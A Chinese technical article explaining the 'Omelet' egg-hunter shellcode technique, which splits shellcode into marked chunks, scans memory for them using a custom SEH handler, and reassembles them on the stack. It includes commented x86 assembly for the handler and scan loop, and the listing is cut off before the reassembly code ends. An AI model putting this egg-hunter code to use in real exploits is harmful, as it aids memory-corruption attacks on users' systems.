频道栏目
首页 > 资讯 > 系统安全 > 正文

Shellcode分段执行技术原理

11-02-17        来源:[db:作者]  
收藏   我要投稿

作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com

前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。

原理分析
  将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:




 
            图1
当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:

代码:
reset_stack:
; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
    XOR     EAX, EAX                    ; EAX = 0,并作为计数器
    MOV     ECX, [FS:EAX]               ; ECX = SEH结构链表
find_last_SEH_loop:
    MOV     ESP, ECX                    ; ESP = SEH结构
    POP     ECX                         ; ECX = 下一个SEH结构指针
    CMP     ECX, 0xFFFFFFFF             ; 判断是否是最后一个SEH结构
    JNE     find_last_SEH_loop          ; 不是则跳走并继续查找
    POP     EDX                         ; 最后一个SEH结构中的异常处理例程handler
    CALL    create_SEH_handler          ; 自定义SEH handler

SEH_handler:
    POPA                                ; ESI = [ESP + 4] -> struct exception_info
    LEA     ESP, [BYTE ESI+0x18]        ; ESP = struct exception_info->exception_address
    POP     EAX                         ; EAX = exception address 0x????????
    OR      AX, 0xFFF                   ; EAX = 0x?????FFF
    INC     EAX                         ; EAX = 0x?????FFF + 1 -> next page
    JS      done                        ; EAX > 0x7FFFFFFF ===> done
    XCHG    EAX, EDI                    ; EDI => next page
    JMP     reset_stack
当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。对应的代码如下所示:

代码:
create_SEH_handler:
    PUSH    ECX                         ; 指向下一个SEH结构,这里为0xFFFFFFFF
    MOV     [FS:EAX], ESP               ; 设置当前的SEH为自定义的SEH_handler
    CLD                                 ; 清除方向标志位DF,从0开始扫描内存
scan_loop:
    MOV     AL, egg_size                ; EAX = egg_size
egg_size_location equ $-1 - $$
    REPNE   SCASB                       ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
    PUSH    EAX                         ; 找到后保存egg_size
    MOV     ESI, EDI                    ; ESI = 相匹配内存块的地址
    LODSD                               ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
    XOR     EAX, (marker << 8) + 0xFF   ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
marker_bytes_location equ $-3 - $$
    CMP     EAX, BYTE max_index         ; 检测EAX值是否小于 max_index
max_index_location equ $-1 - $$
    JA      reset_stack                 ; 不是则跳走并继续搜索内存
找到egg内存块后,将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset,然后将它再加上存放shellcode的栈空间起始地址,最后得到绝对地址,并将该egg内存块复制到绝对地址上,直至所有的egg内存块全部复制到栈上,进而在栈上重构出完整的shellcode。其对应代码如下:

代码:
    POP     ECX             &nb

相关TAG标签
上一篇:C++ VS C#(6):入口函数,改变形参数值
下一篇:逆向一个老的双升扑克游戏,并完成外挂
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站